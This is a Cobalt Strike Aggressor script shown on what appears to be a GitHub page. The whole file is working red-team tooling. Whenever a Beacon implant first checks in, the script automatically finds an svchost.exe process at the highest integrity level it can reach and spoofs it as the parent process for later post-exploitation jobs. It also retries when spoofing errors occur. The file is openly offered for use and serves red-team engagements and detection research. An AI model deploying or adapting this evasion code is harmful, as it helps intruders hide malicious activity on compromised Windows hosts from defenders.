-
-
Notifications
You must be signed in to change notification settings - Fork 150
/
smart-autoppid.cna
151 lines (126 loc) · 5.43 KB
/
smart-autoppid.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#
# Autoppid - script that smartely invokes PPID for every new checkin in Beacon.
# PPID command requires invoked Beacon to have the same Integrity level as the process it want's
# to assume as it's Parent. That's due to how InitializeProcThreadAttributeList with
# PROC_THREAD_ATTRIBUTE_PARENT_PROCESS works. In order to avoid harcoded explorer.exe PID assumption,
# we can look around for a configurable process name and then try to find that process running
# on the highest available for us integrity level. In that case, unprivileged user would assume PPID
# of for instance svchost.exe running as that user, wherease the privileged one - could go for the
# svchost.exe running as NT AUTHORITY\SYSTEM. We aim to smartely pick the most advantageous target,
# in a dynamic fashion.
#
# The script also includes alias registration.
#
# Author: Mariusz Banach / mgeeky, '20-'21
# <mb [at] binary-offensive.com>
#
# Set desirable process name which you want to become your parent. This process will be used for
# parent PID spoofing and thus should be allowed for opening for your current process token.
# Use comma to separate multiple candidates.
$PARENT_PROCESS_NAME = "svchost.exe";
$PRIVILEGED_PARENT_PROCESS_NAME = "svchost.exe";
beacon_command_register(
"autoppid",
"Automatically finds suitable PPID and sets it (unprivileged: $PARENT_PROCESS_NAME , privileged: $PRIVILEGED_PARENT_PROCESS_NAME )",
"Automatically finds suitable - according to the current user context - PPID and sets it (unprivileged: $PARENT_PROCESS_NAME , privileged: $PRIVILEGED_PARENT_PROCESS_NAME )");
sub findSuitableParentPID {
local('$_bid $_callback $_processName $_userName');
$_bid = $1;
$_callback = $2;
$_processName = replace($3, ' ', '');
$_userName = binfo($1, "user");
if (right($_userName, 2) eq ' *') {
$_userName = substr($_userName, 0, strlen($_userName) - 2);
}
bps($_bid, lambda({
local('$tab $entry $name $pid $ppid $arch $user');
@processes = split(',', $processName);
$found = 0;
foreach $processN (@processes) {
foreach $entry (split("\n", $2)) {
($name, $ppid, $pid, $arch, $user, $session) = split("\\s+", $entry);
# "NT AUTHORITY" contains space, thus breaking our split results. Here's a workaround for that
if($user eq "NT") {
$user = substr($entry, indexOf($entry, "NT "));
$tab = indexOf($user, "\t");
if ($tab) {
$user = substr($user, 0, $tab);
}
}
if ($pid) {
if($name eq $processN) {
if($user) {
if( ($userName isin $user) || ($user isin $userName) ) {
[$callback : $bid, $pid, "\t $+ $name \t $pid \t $arch \t $user \t $session"];
$found = 1;
break;
}
}
}
}
if($found == 1) {
break;
}
}
if($found == 1) {
break;
}
}
}, $bid => $_bid, $callback => $_callback, $userName => $_userName, $processName => $_processName));
}
alias autoppid {
local('$processName $userName $params');
$params = "";
if(strlen($0) > strlen("autoppid ")) {
$params = substr($0, strlen("autoppid "));
}
$processName = $PARENT_PROCESS_NAME;
$mode = "unprivileged";
if (-isadmin $1) {
$processName = $PRIVILEGED_PARENT_PROCESS_NAME;
$mode = "privileged*";
}
$userName = binfo($1, "user");
if (right($userName, 2) eq ' *') {
$userName = substr($userName, 0, strlen($userName) - 2);
}
if($params ne "quiet") {
btask($1, "Tasked Beacon to find $mode $processName running as $userName and make it the PPID.");
}
if(strlen($processName) > 0) {
findSuitableParentPID($1, lambda({
if($params ne "quiet") {
blog!($1, "Future post-ex jobs will be spawned with fake PPID set to:\n$3");
bppid($1, $2);
} else {
bppid!($1, $2);
}
}, $params => $params), $processName);
}
else {
blog2($1, "Not spoofing Parent PID automatically as there is set one in options.");
}
}
on beacon_initial {
# Parent PID spoofing
fireAlias($1, "autoppid", "");
}
on beacon_error {
local('$ppid $err');
if ($2 ismatch 'Could not set PPID to (\d+): (\d+)' ) {
($ppid, $err) = matched();
if($err == 87) {
blog2($1, "Catched PPID error: \c4Previous parent process no longer exists\o. Finding a new one...");
fireAlias($1, "autoppid", "quiet");
}
else if($err == 5) {
blog2($1, "Catched PPID error:\c4 $err $+ \o. Access Denied. Don't know how to proceed. Reseting PPID to none.");
bppid($1, 0);
}
else {
blog2($1, "Catched PPID error:\c4 $err $+ \o. Will find another candidate for PPID spoofing.");
fireAlias($1, "autoppid", "quiet");
}
blog2($1, "\c8 Repeat your last command as it failed.\o");
}
}